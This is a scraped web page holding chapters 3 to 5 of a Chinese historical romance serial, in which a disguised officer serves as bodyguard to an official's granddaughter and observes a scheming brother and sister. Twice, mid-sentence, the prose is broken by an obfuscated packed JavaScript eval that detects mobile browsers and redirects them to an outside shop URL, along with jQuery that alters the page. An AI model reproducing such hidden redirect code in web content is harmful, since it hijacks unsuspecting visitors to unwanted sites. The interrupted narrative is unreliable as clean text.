秦离铮起身行至厅外,尚未收稳脚,小玳瑁一套招式突袭过来,秦离铮轻轻勾唇,目光里藏着一丝不屑,又像是挑衅,只轻巧往后一避,一个翻身借力踹向小玳瑁的左肩,趁其吃痛时用膝盖压住他的身躯,将他一双手臂反拉在身后。 “...疼...疼疼疼!”小玳瑁龇牙咧嘴嚎叫着:“你撒撒撒撒手!” 秦离铮平静松开他,大气不喘。 复而朝钱兰亭继续拱手,谦虚道:“请大人见谅,我只是在码头做工做得久了,力气比较大。” 钱其羽在一旁看得目瞪口呆,靠三言两语也听明白这男人是家里新来的侍卫,忙弓身在钱兰亭面前,央道:“爷爷,他能不能跟着我?” “他是我的人!”钱映仪也未曾料想捡回来的这个男人如此厉害,连她身边的小玳瑁都随随便便打歪了,心中一喜,立时捉裙上前,问出想问的问题:“你叫林铮是么?我问你,既是侍卫,倘或有人频频骚扰我...” 女孩子猝不及防近前来,身上一股零陵香直直往秦离铮鼻腔里冲,清新得像春日里的花园子。 秦离铮垂眼答道:“护着主子。” “若那人紧追不舍呢?” “以主子为重,主子叫我打断他的腿,我也打得。” 钱映仪心头牵出几分满意,回身往钱兰亭身侧跑,眼巴巴望着,“爷爷...” 这模样把钱兰亭逗笑,命下人去告知次媳许珺,毕竟她管着家中大小事务,家中添个侍卫,自然要经她安排。 再细细问过两句,钱兰亭顿觉疲乏,挨个拍一拍孙子孙女的肩,嘱咐道:“早些睡,今夜晚了,不可再往河边去。” 说罢领着管家往外行去。 离远了,钱兰亭才渐渐淡下神色,“再细细查探一番,家里不能有来历不明之人。” 管家自是应下。 这厢钱兰亭离去,钱映仪也不愿听自己怂恿去秦淮河岸玩耍,钱其羽顿觉无趣,瞄了两眼秦离铮这张陌生面孔,自顾回房去了。 没几时,派去许珺那的下人折返回来,只说将秦离铮安排在钱映仪身边,与小玳瑁干一样的活便是。 钱映仪了却一桩事,不免狡黠笑一笑,两个眼珠子在黑漆漆的夜里被灯笼衬得益发亮锃锃的。 “嗳,从明日起,你就负责跟着我。”钱映仪笑弯眼眉,又端起腰上下扫秦离铮一眼。 这身段的确极佳,结实的臂膀,露在外头那截粗壮的手腕,宽阔的肩,淋湿的发... 淋湿的发?钱映仪定睛细瞧,这才发觉他身上仍湿漉漉的,好像是捡回来后便一直无人去管,肋下那一块苎麻的布料也还染着红。 再三望他几眼,钱映仪冷不丁回身进花厅,摸出一块干净的帕子,途经他时,一股脑将帕子搭在他脸上。 命道:“往后跟着我,不许脏乱,不许衣衫不整洁,你现在太脏了,擦擦。” 言罢自顾捉裙离去了。 留她扔下的帕子带着几缕清香撞在秦离铮的脸上,秦离铮不可避免又闻见,帕子很快往下落,秦离铮顺手接了,却仍觉那香气还在。 小玳瑁这时缓了过来,对秦离铮很是称赞,过来笑嘻嘻道:“我叫蒋渔,小姐一般管我叫小玳瑁,你身手真不错。” 又往钱映仪离去的方向窥一眼,面色正经起来,“伺候小姐,还请不要嫌麻烦。” 秦离铮没答话,雾沉沉的黑眸没什么情绪。 他进钱家,是退而其次罢了。 一个娇滴滴的深闺小姐,能有多麻烦? 3. 第3章 她的确麻烦。 这日秦离铮买来热腾腾的栗子糕,搁在小姐面前,“满意了?” 秦离铮头回做伺候闺阁小姐的活,再有泼天的耐性也被消磨几分,他立在雕花窗外,盯着午憩过后起身的钱映仪,捏紧了指骨。 钱映仪肩头披着鹅黄披风,斜斜插了根玉簪在乌溜溜的垂髻里,尚还趴在窗后的书案上,俏丽的脸上还印着斑驳枕痕,睡眼惺忪着。 听闻这话,抬眼望向秦离铮,鼻腔里勾出软绵绵一声:“嗯?” 像是还贪恋午睡,倒把秦离铮怒意勾起几分。 这小姐何止是麻烦!自他进钱家已有五六日,别说探听些什么,她根本就没打算出门,时常懒散在这云腾阁,一时叫他去城东买梅花饮,他当是她喝过梅花饮了,高兴了便会出门。 她又不喝,一时又叫他去城西买栗子糕,绕来绕去,瞧着又不像是贪吃,更像在磨他的性子。 这厢冷淡把栗子糕往钱映仪身前一推,秦离铮目光紧盯着她,“栗子糕,小姐午睡前不是要吃?” 钱映仪眨巴着眼,仿佛是想了起来,浑身懒散的筋一瞬间搭得正了,端着腰往一旁洗净双手,素白指尖捻了块放进嘴里品尝。 嚼巴两口,她又把弯眉重叠,“不是这家,你买错了,再去一回,让小玳瑁领着你去。” 秦离铮深深吸气,向来显得岑寂寂的眼罕见浮起波澜,最终一言不发扭头就走。 他的背影蜇出去后,钱映仪轻扔手中那块栗子糕在油纸袋里,往案上铺陈纸笔,点缀彩墨画起小人图来。 金陵小红豆的话本子卖得不错,府学、县学的男学生们有极大的功劳。 这些学生个个家世还算不错,平日苦读本就枯燥无味,好容易得一本志怪话本,自当是夜里提着银釭偷看。 钱映仪时常画些小人图交给陈潮,命陈潮印出来贴在话本上,所画的也大多是青衣。 陈潮又贱嗖嗖想出个主意,只道是一整册的青衣图共十位,各自打乱贴向书封,若买得多,集齐十位青衣小人图,他便赠送金陵小红豆亲笔所画的武生图。 年轻的小少爷们不爱青衣,正是血气方刚的年纪,既看了志怪话本,也自当认为自己能是武生那般勇猛之人,因此铆足了劲去买。 倒叫钱映仪与陈潮都狠赚一笔。 钱映仪今番正是在补画不一样的青衣图。 夏菱立在一旁抖着肩笑,谈起秦离铮来:“小姐,您这样整他,就不怕他被您气走?” 这几日雨过天晴,光束下轻尘微扬,钱映仪头也不抬,往纸上勾勒,道:“爷爷以为我单纯,随随便便就捡了个男人回家,我哪有那样笨?不试试,怎知他的脾性?又怎知他够不够听话?” 夏菱受教,上前替钱映仪拢一拢披风,“就怕他在心中腹诽您娇气。” 钱映仪悬停笔尖,好笑把自己轻扫,倒不谦虚,一双眼闪着盈盈笑意,“那也没说错囖!” 言讫,钱映仪探头往窗外睐一眼,扭头问夏菱:“怎不见春棠?她人呢?” 说起春棠,院外静悄悄进来位粉衣丫鬟,扎着酂白色的裙,臂弯里挎着一篮梅花,正往这头行来。 夏菱笑一笑,搭腔道:“您不是念叨了几句梅花饮?那林铮买来的您不喝,春棠惦念着您,方才趁您午憩的空档,往园子里摘最后十来支梅花去了。” 二人说话间,春棠已行至门前,在外头抖落裙边的杂草,方轻步迈进屋内,像只安静的猫,无声冲钱映仪比划了几道手势。 -小姐,您今日要喝么?奴婢去做。 屋子里熏着香,钱映仪却把梅花捻起一支,比在春棠鬓旁,笑嘻嘻凑近轻嗅,这才退后两步抬手比划。 -真美,真香,美人做的,我自然喝。 春棠被迤逗得羞红了脸,暗嗔含笑的二人,拐步出去了。 钱映仪身边两位贴身丫鬟,夏菱是打小在京师便跟着的,叽叽喳喳,随了钱映仪这位主子的性子,春棠则是钱映仪来京师后,十一岁那年与钱兰亭外出,在外头买回来的。 买到春棠时,她什么都听不见,也不说话,只木怔怔盯着钱映仪。 正巧那时钱映仪不被金陵的小姐所接纳,每日除了在纸上描描写写,便是与夏菱一起向春棠学她惯用的交流方式。 没几时,春棠捧着托盘进来,擎着一杯梅花饮送往钱映仪面前,钱映仪笑吟吟喝过两口,旋即继续勾画青衣小人图。 夏菱轻推春棠的胳膊,把眼往门口一睇,示意二人出去候着,春棠却扇一扇睫毛,忆起一桩事,忙不迭从腰间摸出一张花笺,在那束光下斜给钱映仪瞧。 钱映仪匆匆瞥过,动作一顿,接过花笺细看,倒是轻笑出声。 “我正烦近日有些枯燥呢,秋雁约我明日往她家去小聚,倒是正合我心意了!” 言罢干脆停笔,晾了小人图片刻,随后整整齐齐将图纸叠堆在角落,俏生生捉裙往镜前坐,“夏菱,与春棠一道将我打扮打扮,明日我想戴那支新得的金蝉钗,那钗漂亮,我很喜欢,再替我绾个不繁琐的发髻吧。” 夏菱应声,当即拉过春棠比划一阵,二人埋首在钱映仪脑袋后琢磨起来。 这一琢磨,案上那光束益发昏黄,不自觉已是夕阳时刻,秦离铮买到对的栗子糕回来时,钱映仪正打扮好,在廊下轻晃脑袋上那支金蝉钗的薄翼。 秦离铮见她轻描月眉,施妆傅粉,动作间裙摆微晃,像只逆来这时节的蝴蝶,不由脚步轻顿,停在廊角。 再往城西跑过这一轮,秦离铮积攒的怒倒被风吹散得干干净净,好笑自己与一朵娇气花置气,于是此刻静静看着她,只等她发觉自己回来。 钱映仪这一转身,还真就瞥见角落那抹身影,想及明日要出门,索性再瞧瞧这新来的侍卫够不够忠诚听话。 故而轻迈过去,接过冒着热气的栗子糕,这回倒是连吃两块,吃过了,才仰头看一眼身前的男人,唇畔牵出一个无害又单纯的笑,“明日我要出门,你跟着,还是小玳瑁跟着?” 秦离铮心思一动,视线先落在那袋栗子糕上,暗道买对东西把她哄开心了,果真有不一样的动静。 面上却不显,稍侧着身,当她是主子,不停留在她脸上多瞧,“我跟着。” 钱映仪点点下颌,命秦离铮去与小玳瑁说上一声。 秦离铮干脆利落擦身过,没走两步,却在雕花窗外停了停,稍稍侧头瞥了眼案上那只静静搁置的杯盏,杯口残留一抹淡粉口脂。 并非他买来那份,瞧着是新做的,且她喝过。 秦离铮眨着冷淡的眼,脚步加快几分回了与小玳瑁共用的寝屋。 很是奇怪,被风吹散的那几分怒意莫名又回灌一些,秦离铮往怀里摸出一册自制的手札,翻开一页铺在桌上,蘸墨往崭新的一页写下一行字: 心烦意乱,莫名其妙,这主子古怪,难以伺候。 字迹工整,笔锋凌厉,秦离铮盯着纸面的墨水渐干,方将手札送回怀里,又取出随身的薄荷叶泡了水灌进肚里,待醒神几分,淡然拉开门寻小玳瑁去了。 这时节,夜里仍会起雾,蒙蒙水汽聚了又散,朝霞渐在天边绽开。 钱映仪早早起身,由夏菱与春棠服侍着打扮得粉腮红润,朱唇榴齿。 钱兰亭每日要早起往工部去,钱其羽在府学住,钱佑年这两日都歇在县衙,因此钱映仪往小花厅去时,便与二婶许珺一并用过早膳。 顺道将今番要去闺中好友家中做客一事禀明与许珺听。 许珺未得女儿,向来喜爱这生得漂亮的侄女,听闻她赴宴小聚,故而将手腕上的八宝彩镯取下,又替钱映仪戴上,笑道:“你今日打扮得虽漂亮,却太素净,二婶这镯子送你戴着玩。” 钱映仪推脱不得,只好乖顺戴着出门赴宴。 马车一路穿街走巷,两刻钟的功夫停在太平巷一座府邸前,门口正有小厮得了吩咐在候着客人。 钱映仪打帘下车时,秦离铮立在她身后不远,往门匾处扫量一眼。 晏家,南直隶工部尚书晏松的府邸。 今日天有些暖,太阳益发耀眼,小厮引钱映仪往园子里去,没几时便见几抹倩影围坐一团,身前架了些竹编圆桌,桌上摆放这时节的瓜果点心。 钱映仪人未走近,话语却先飘过去,“好啊,你们又暗自先到了!” 那几抹倩影欣欣笑了,搭腔道:“你下回早些,不就是你先到了?” 正是郭家的小姐郭月,温家的小姐温宁岚,以及这晏家的小姐晏秋雁。 秦离铮远远在廊下便停了脚,只抱臂立在原地守着。 今日晏秋雁做主约钱映仪出来,本也只是因闷而一时兴起,不过是聚在一处嬉戏一阵,说说趣事罢了。 钱映仪亲昵揽过温宁岚与晏秋雁的臂弯,挨个紧紧贴了贴,趁机轻问晏秋雁:“郭月怎么也在?她最是喜欢与我争,说话又不好听,你请她做什么?” 晏秋雁面色为难,“昨日写过花笺,我向我爹请示,正巧她爹在府上,只能顺道请了。” 转瞬又笑眯眯道:“放心,除了她,我还请了别人,不会叫你觉得无趣,燕姐姐也来呢。” 钱映仪把眉轻剔,“燕姐姐?” 还未再说上两句,郭月冷不丁出现在身后,狐疑道:“你们背着我说什么呢?” 晏秋雁眨巴两下眼,登时转身笑答:“没什么。” 郭月瞥一眼钱映仪的打扮,复又坐回去,歪着身子往竹编椅上靠,懒散晒一晒太阳,问:“听说前几日那吴念笙又寻你了?” “凑巧碰见罢了,”钱映仪暂未落座,反而弯腰去赏不远处的花,稍刻,才遥问:“你是如何得知的?” 岂知这话方问出口,打从另一头的垂花门处直冲冲过来一人,钱映仪匆匆一窥,不是那前世的冤家吴念笙又是何人? 她当即往下蹲身,叫苦连迭,“秋雁!他是如何也过来了!” 晏秋雁也当头一蒙,倒是郭月盈盈笑了两声,半开玩笑半是认真搭腔:“我也是凑巧碰见了他,昨日一时嘴快,与他说了。” 钱映仪暗呼倒霉,眼瞧那吴念笙又往自己这头来,忙喊:“林铮!” 吴念笙从郭月处得知今日钱映仪来晏家小聚,心头高兴坏了,对钱映仪是一日不见如隔三秋,恨不能近前去痴痴望着,走起路来也是径直往钱映仪藏身的花堆里去。 已窥见钱映仪一片衣角时,吴小少爷心中窃喜,轻咳两声,状作翩翩君子之态,当即要跨步再近前两步。 未想这一步没迈动,后脖子那块被陡然勒紧,吴念笙顿觉呼吸一窒,胡乱挣扎起来。 秦离铮淡漠拎着他,又抬高了些,偏头望向钱映仪,“小姐请出来。” 钱映仪这才端端正正走出花堆,到底讲礼节,往吴念笙面前行过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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渐渐地,郭月不耐撂了牌,不打算再打,问起晏秋雁,“燕姐姐怎么还不来?” 话音方落,郭月像是想到什么似的,神秘兮兮朝几人招招手,待四面围拢了,才道:“说起燕姐姐,你们可知那蔺玉湖在前几日闹了场大的?” 钱映仪轻眨一双美目,装听不懂,“发生何事了?” 郭月自持消息灵通些,把蔺玉湖从行院被押回蔺家一事得意说了,果真见晏秋雁与温宁岚目露诧异。 钱映仪也装作一副骇目圆睁之态,“那岂不是闹得人尽皆知?” “闹得人尽皆知又如何?”郭月被天光刺得眯起眼,笑道:“那蔺玉湖本就无用,燕姐姐当初嫁给他真是委屈了,好在燕三郎已然归家,算是燕姐姐身后坚实的依靠了,听我爹说,昨日刚往江宁县上任呢。” 晏秋雁被牵动思绪,多嘴问了句:“说起来,我倒是许久未曾见过他了,只记得他打小就生得漂亮,几年未见,不知如今可有变化?” 钱映仪被“漂亮”二字吸引,只觉夸大其词,“哪有形容男人漂亮的?” “映仪,秋雁这回可没夸大...”温宁岚性子怯弱,却也小声答道:“我也与燕三郎在一处玩过,那时我还小,即便如此,我也觉得他很是漂亮呢...” 钱映仪狐疑望她二人,当即往竹椅上靠坐,“成,管他漂不漂亮,也得见了人再断言,秋雁,燕姐姐几时来?待她来了,打过照面我就回去了。” 言讫将眼往吴念笙那头一瞟,意思再明显不过。 正说着,远远传来一阵动静,打头行过来的女人作妇人装扮,灼灼耀目,丝毫未见被污糟事所连累,正是燕文瑛。 钱映仪扭头张望,不想这一眼错开了燕文瑛,直直落在她身后那道身影上。 那人穿一件缥碧直缀,肩头披着狐裘,戴一顶寻常的银冠,清雅矜贵的身形在行走时透出一股空静,面容隽美,远远望着,恰如湖中泠月。 愣神时,燕文瑛已然行至身前。 晏秋雁原就与她关系好,很是高兴她过来,忙起身上前迎着,燕文瑛欣欣笑了两声,引两方相见,“这是我幼弟,三郎,你们幼时在一处玩过,他这几年在凤阳上任,应是不陌生吧?” 那吴念笙沉寂许久,好容易来个男子,倒十分激动,忙冲过来与燕三郎打一拱手。 他这一动,秦离铮便往前站了站,离钱映仪益发近一些。 燕三郎挨个作揖行礼,转向钱映仪时,仿佛是不认得,面色迟疑,不知该如何称呼。 晏秋雁忙反剪胳膊轻推钱映仪一把。 钱映仪回过神来,唇畔噙出一抹笑,心中不禁想这世上怎有这样漂亮的男人,当即抬手要回礼,顺道自报家门。 不曾想这一抬手,手腕上那支被二婶赠予的八宝彩镯撞上桌缘的一盏茶。 茶虽算不得滚烫,却也是斟得很满,若泼洒了,她的裙摆不免又渐湿一圈。 钱映仪偷瞥那张脸,瞧他逆着光过来,心中竟生出一丝希冀。 这样的距离,燕三郎虽接不住茶盏,但因动静往前两步,凑近再让她欣赏两眼,也是好的。 揣着这样的心思,钱映仪顷刻间做出了选择,不去接那盏茶,目光渐渐落向燕三郎脚上那双皂靴,盼他再近几步。 她已然隐约闻见他身上有股柑橘香气。 好巧不巧,这盏茶并未跌荡在她裙下。 一只骨节分明的手赶在杯身歪斜时接住了它。 杯身被那只手捧到身前,钱映仪猛然嗅见一股清爽的薄荷气息。 呆呆扭头一望,侍卫打扮的年轻人不知何时出现在她身侧。 秦离铮端着那杯茶,眼神停在钱映仪脸上,提醒道:“小姐,请小心些。” 4. 第4章 这园子因燕家姐弟的到来而喧闹过一阵,又因这不太美丽的小插曲而稍显寂静。 侍卫时常有夹带薄荷叶在身上的习惯,钱映仪此前从未留意,今日兴许是欲嗅燕三郎身上那一味柑橘香而刻意吸气,这才觉察出这丝气味来。 钱映仪垂眼轻扫面前这只手。 指缘修剪得整齐,指骨弯曲时用了些劲,手背青筋虬曲,比及旁人白皙的肤色稍暗些许。 那盏茶她先前捧过,不算滚烫,但泼洒在人的肌肤上,定然会留些红印。 这侍卫的虎口的确有几分淡红。 身前那股薄荷气久久未散,钱映仪望着他轻眨眼,五感被这股气息冲得有些发凉。 乍然回过神来,一股郁气凝在肺腑,低斥道:“谁许你自作主张的?不会瞧人脸色么?” 趁众人没离近的时机,钱映仪接过那杯盏,瞥他虎口那一指宽的淡红,再次嘱咐道:“你替我拦着先前那人就行,其他事不要你管。” 竟还真一语成谶,吴小少爷眼波探来,急急忙忙往这头跑,“映仪,映仪你如何?” 又把秦离铮一瞪,“好个没规矩的侍卫!先前那笔账我还未与你算!你怎敢靠主子这般近?” 可惜秦离铮正眼不瞧他,随随便便两指抵住他的肩,稍使些劲就把他单薄的身子推得往后跌了几步。 秦离铮抬眉看了眼燕家姐弟的方向,无所谓站回了先前那处地方。 吴念笙一再在他手中吃瘪,气恼得直握拳,又恐在钱映仪眼前再闹笑话,立在原地狠瞪秦离铮几眼,又窝窝囊囊将影藏在了插屏后。 风软花香,园子里豢养的两只桃脸牡丹鹦鹉叫唤两声,晏秋雁方回过神,面上挂起笑,拉过钱映仪豪爽上前引见: “三哥哥,几年未见,你还一如从前,这是映仪,姓钱,你未见过她。” “映仪,这是燕家三郎,我们时常管他叫燕哥哥、三哥哥,他名如衡,字清溪,有时也叫几句清溪哥哥。” 钱映仪猝不及防被拉上前,没忍住再偷瞟燕如衡的脸,他站在这园子里,被光照一照,仿佛是万千树木中最独特耀眼的。 初次被引见,她不好叫他哥哥,见他弯唇朝自己笑了笑,先唤了一声钱小姐,于是左思右想,提裙伏腰,脆生生喊:“燕大人。” 先前提起他调任回江宁,衙门办事,称声大人也无妨。 燕如衡见她大大方方,虽知她盯着自己的脸看了多回,也不觉冒犯,只抿唇轻笑两声,燕文瑛见状,接连掣了几人的衣袖,众人又热热闹闹坐回花堆里的竹编椅上。 闲聊时,钱映仪一双眼总偷往插屏那处瞥,看着那抹端正身姿,心情好了几分,乐滋滋抓了一瓣稍凉的瓜在嘴上轻咬。 没几时,郭月这头又起了话头,问起燕文瑛与蔺玉湖之间的那点事来。 钱映仪匆匆把眼挪回,两扇睫毛扑了几下,与晏秋雁、温宁岚互相睇眼,难免暗传一个意思: 这郭月当真哪壶不开提哪壶,太管不住嘴。 怎知燕文瑛却不在意,自袖管子里抽出一条手帕,掩在唇边轻笑,眼缝里溢出些高傲与嘲讽:“他?那日公爹归家,听闻河边人家都瞧见我奶妈妈把他从销金窟里提出来,面子上挂不住,将他狠狠打了一顿,现下还趴在床上叫唤呢。” 晏秋雁到底是与燕文瑛亲近些,难免心疼她所嫁非人,一时欲言又止。 不一时,又见燕文瑛低垂眼瞧着小腹,低低笑了,“所幸我与他没有孩儿,三郎如今回来,替我撑撑腰,碍着我爹那人,蔺家又只能将我捧着,这日子也还算过得去。” 温宁岚往插屏那头瞧一眼,应声附和:“那倒是,燕哥哥打小就心疼姐姐。” 钱映仪是见过那蔺玉湖一副醉生梦死之态的,暗自瘪瘪唇,只心道有这样的枕畔人,日子绝无安生的可能,再有撑腰之人,那人也不能将手伸到俩夫妻中间去。 但瞧燕文瑛一副轻松自在的懒散模样,到底只啃咬着甜瓜不吭声。 好风时绕满园花香,话过家常,晏家几个丫鬟又上了些点心,晏秋雁轻推一碟米糕在钱映仪身前,“晓得你来,特意请厨子做的,只你一人吃。” 钱映仪笑瞧她,把那米糕尝了尝。 燕文瑛的目光落向钱映仪脑袋上那只金蝉钗,她比钱映仪大上七八岁,往前嫁给蔺玉湖时,她还不晓得钱家来了个模样俏丽的小姐,还是后来由晏秋雁引见才识得,故而牵出个和善的笑,称赞起来: “映仪这钗真漂亮,打小就喜欢漂亮玩意的习惯倒是一如既往。” 钱映仪端起腰来轻晃脑袋,把那会扇动的薄翼给几人瞧,咯咯笑了两声,“燕姐姐好眼光,年关时我娘回金陵,从京师带来的,算不得多珍贵,但胜在模样漂亮,我便留了下来。” 又回赞道:“燕姐姐今日这花钿也精致,衬得燕姐姐漂亮得紧,我瞧,将秋雁家这满园子的花都摘与燕姐姐,燕姐姐也要将这些花给比下去。” 一席话把燕文瑛赞得笑歪在椅上,半嗔半娇瞧了钱映仪一眼,忽然又一提腰,俯身往钱映仪面前靠,眼神似有似无往插屏那处转了一圈,轻问: “你既喜欢漂亮的东西,那你今日瞧见我弟弟,可觉得他漂亮?” 猝不及防这一问给钱映仪问得呆了,她晓得,燕文瑛是在打趣她,可她仍有些摁不住的东西,譬如这脸,她定是脸红了。 钱映仪匆匆摸了一盏热茶喝,一时觉得坐也不是,站也不是,半晌在原地打转几回,低声道:“燕姐姐!” 几人接连笑作一团,晏秋雁揽过温宁岚,二人凑在钱映仪眼皮子底下。 晏秋雁问:“小岚,与她说,你觉得三哥哥如何?” 温宁岚凝眉:“美哉。” 这动静大,插屏那头轻咳两声,燕如衡稍显无奈: “就知你们会拿我打趣,若在从前便也罢了,今日倘或吓到钱小姐就不好了。” 钱映仪把几人望一望,燕文瑛这才伸出一指把钱映仪那微红的腮肉轻挑,“一句玩笑话,从前我们常开他的玩笑,倒是吓着你了。” 钱映仪这才轻眨两下眼,暗暗松了一口气,横过手背把脸贴一贴,“还以为燕姐姐语出惊人,原来是我想多了。” 秦离铮始终很安静,把几人的喧闹尽收眼底。 晴风暖意,光束直直照在钱映仪半张侧脸上,站在秦离铮这头静静窥一眼,更觉她的脸益发通红,他不自觉无声嗤笑,暗道她当真好逗弄。 又把一双眼落向燕文瑛与插屏那处,心中自有几分思量。 午晌晏秋雁请众人在小花厅用过午膳,燕文瑛到底精力不比几位年轻小姐,又有午憩的习惯,便欲向晏秋雁告辞,约好开春她做东再聚。 她既走,燕如衡也不好再留,郭月也顿觉无趣,与众人再说笑两句就自顾领着丫鬟离去了。 如此一来,小聚离散,燕文瑛与燕如衡在门前登上马车,燕如衡稍落后些,钱映仪还想再瞧几眼,故旋裙转到廊柱后躲起来往燕如衡脸上瞧。 岂料不知打哪冒出个不解风情的侍卫,径自踩上晏府门前一截石磴,仗着身量高挑,这一下就给挡了个严严实实。 钱映仪暗瞪他,一双眼珠子不停来回瞟,示意他挪开些。 秦离铮把眉轻挑,又上前一步,“小姐眼睛不舒服?” 他道:“想起来了,小姐也有午憩的习惯,困了?” 那头燕家的马车已然驶走,温宁岚先一步离去,那吴念笙也一步三回头地走了,此处只剩晏秋雁还在。 钱映仪怄着一口气在喉管里,索性不再装,握拳上前锤了侍卫的肩,“你挡着我做什么!” 这一下打在肩上不疼不痒,秦离铮低眉凝望她一眼,“小姐劲挺大,那定是不困,还要去哪处转转?” 钱映仪这一拳把晏秋雁唬一跳,忙上前拉她,“做哪样要与侍卫生气?他不是还替你挡着吴念笙么?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16790584|190568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>钱映仪扬着下颌,朝侍卫指使道:“你不许随我归家,我现下想吃河边的蜜薯,想吃上元的米团,想吃红庙阿婆卖的甜浆,你通通去给我买了来!” 这些地方一个赛一个的远,她存了心要罚他。 而这一席话正中秦离铮下怀,他本就故意逗弄她,因此朝她身后的夏菱望一眼,只道:“那还请小姐路上回去小心。” 说罢自顾转背离去。 钱映仪盯着他的背影,最终是跺了跺脚,也不好叫晏秋雁瞧笑话,敛了敛神与晏秋雁告辞,领着夏菱登上马车往家的方向回了。 这厢秦离铮绕着秦淮河岸走,脚步一转拐进行院附近一家乐馆,再出来时,独行变作双人行。 与他并肩者正是那日刺伤他的那人,生了双含情目,玉树临风,未进春日便手持一把折扇轻晃,叫褚之言,是这乐馆的东家,亦是秦离铮的下属。 褚之言总打量他的侍卫衣裳,隐隐好笑,“那日你阴差阳错被女人捡走,我当你是乖乖跟人家回家做赘婿。” “你这舌头不想要的话,我替你割,”秦离铮脚步未停,正往蔺家那头赶,“虽未进蔺府,今日我倒见到了燕家一双姐弟,叫你一起过去查探,是因我时间不够。” 顿一顿,他道:“我还得给她买吃食。” 褚之言仰头笑得肩骨都在颤,这个“她”是谁不言而喻,他顺势望天,把扇轻摇,“不知皇上知道了,会不会笑你自作主张多了位主子。” 秦离铮未再搭话,径自穿巷而过,神色淡然,约莫半刻钟赶到蔺府大门前,二人寻了处隐蔽处藏匿,静等半个时辰,果真见先前那辆马车停在蔺府门前。 燕如衡先打帘下车,再回身横臂接了燕文瑛下来,燕文瑛踩上一截高些的石磴,一副慈姐模样替燕如衡紧了紧披风。 她身量本就高挑,踩上石磴后只比燕如衡矮半个脑袋,又替他挥散肩头那点不存在的灰尘,红唇轻轻翕合,“钱家映仪,三郎觉得如何?” 燕如衡嗓音很软,“阿姐,她很美。” “那就别忘记爹的交代。”燕文瑛弯唇。 燕如衡缓慢点点下颌,那双尤其漂亮的眼睛目露关切,“阿姐,我已派人向行院那头带了话,请阿姐放心,日后蔺玉湖再往那头去,不会有人再招待他。” “还是做弟弟的心疼姐姐。” 话音落,燕文瑛轻扫燕如衡周身,旋裙隐进蔺府这座大宅子里去了。 燕如衡立在原地未动,半晌,唇边噙着的那抹笑淡了下来,垂眼瞥过燕文瑛方才踩过那截石磴,眼露冷情之色。 稍刻,也坐上马车离去了。 蔺府门前一霎寂静下来,褚之言把眉一扬,侧首望向秦离铮,“啧,这对姐弟瞧着是各怀心思。” 秦离铮思忖那句“别忘了父亲的交代”,冷笑一声:“看来今日这对姐弟是刻意接近她,这对姐弟都出自燕家...” “应天府的府尹若是要与工部左侍郎有往来,何须绕这么大个弯?” 褚之言暗自琢磨,“指挥,你的意思是...燕家想与钱家的关系更进一步?结姻亲?” 秦离铮冷睨蔺府那扇朱红大门,语气隐含几分笃定:“没这么简单。” 日影斜倾,秦离铮转背往来时的路上走,叮嘱道:“你多加派人手盯着燕如衡,咱们就从他身上挖出个洞来。” 褚之言点点头应了,见他脚步加快,忙追上去,“跑这样快,那小姐不过交代你买吃食,有什么要紧的?” 秦离铮握剑的指骨悄然捏紧,原本因要去钱映仪指定的那些地方买吃食而有些恼意,转念一思量,今日是因跟着她才发觉燕家古怪... 也因他先惹恼她。 狭窄的小巷里只稀稀散散照进几缕阳光,熨上了秦离铮的眼眉,于是那两帘睫毛往下垂了垂,不知是为什么放低妥协,心头那股恼意消散,他脚步未停,只道: “我今日惹恼了她,权当赔罪。” 5. 第5章 往秦淮河岸买过蜜薯,又转去上元买下米团,秦离铮在红庙阿婆那买甜浆时耽误了些时辰。 红庙周遭多有香客,一路问过二三人,才知钱映仪口中所说的那位阿婆在比邻庙宇旁的正街角落里。 阿婆卖的甜浆收价三文,来拜神的香客们走累了时常往她那买上一碗来喝。 因而小小摊位前排起长长一条队伍,嗜甜者也多为女子,像秦离铮这般身形伟岸又面色疏离的男人站在人群里,就格外显眼。 等候的间隙里,有女子好奇,总频频回望,到底没忍住来问:“哎唷,小官人爱喝这甜浆?” 秦离铮虽性子疏冷,却并非不讲礼节之人,因此淡淡点头以作回应。 不想就是这一回应,引得另几位女子殷切切凑来,目光轻扫他厚实的肩背与有力的臂膀,再盯上他刀削的下颌流连几瞬,接连问起些琐事来。 话题有意无意飘去某些问题上去时,秦离铮深深吸气,答道:“无婚嫁,也不想,我不爱喝,替小姐买。” 提起小姐,那几位女子好似才注意上他穿着富贵人家做侍卫用的衣裳。 心中不由悻悻,搭了三两句话,旋裙离去了。 买过甜浆,秦离铮瞥见阿婆相邻的摊位正卖着米糕,不是什么精细吃食。 他垂首盯着,忽然忆起在晏家时,那晏家小姐曾推给钱映仪一碟米糕。 跟在她身边伺候这几日,秦离铮多少摸清她在家中与在外头不同,是个咋呼性子,对吃入口中的东西也稍有讲究。 她今日一连捻过几块米糕吃,想来是当真喜欢? “嗳,小官人买不买?不买别挡在这...”身后有一人见他站在原地未动,又暗窥他身形,小声催促两句。 秦离铮冷不作声,回头把那人一望,握着一盅甜浆离去了。 耽搁至日昼西垂时,秦离铮才从角门进府,一路穿廊过,寻至钱映仪的云滕阁外。 迎面撞上春棠取了披风匆匆出来,这厢见了他,忙指着院内比划一阵,意思是小姐不在此处。 好在这比划简单,秦离铮猜准,提着手里的吃食随春棠一并往钱家的大花园里拐去。 这时节白日虽暖和了些,早晚却是凉飕飕的,天色黑得也快,走到园子里已是淡月高悬。 秦离铮的目光搜寻钱映仪的身影,在花圃旁的几簇水仙花之间捕捉到了她。 比及早晨那会出门时,她又换了身衣裳,一件淡蓝的立领短袄,腰上扎着玉兔纹样的淡粉裙,脑袋上那支金蝉钗取了下来,换作两支花钿。 此时安安静静扑在石桌旁,仿佛先前气急败坏指使他干这干那的不是她。 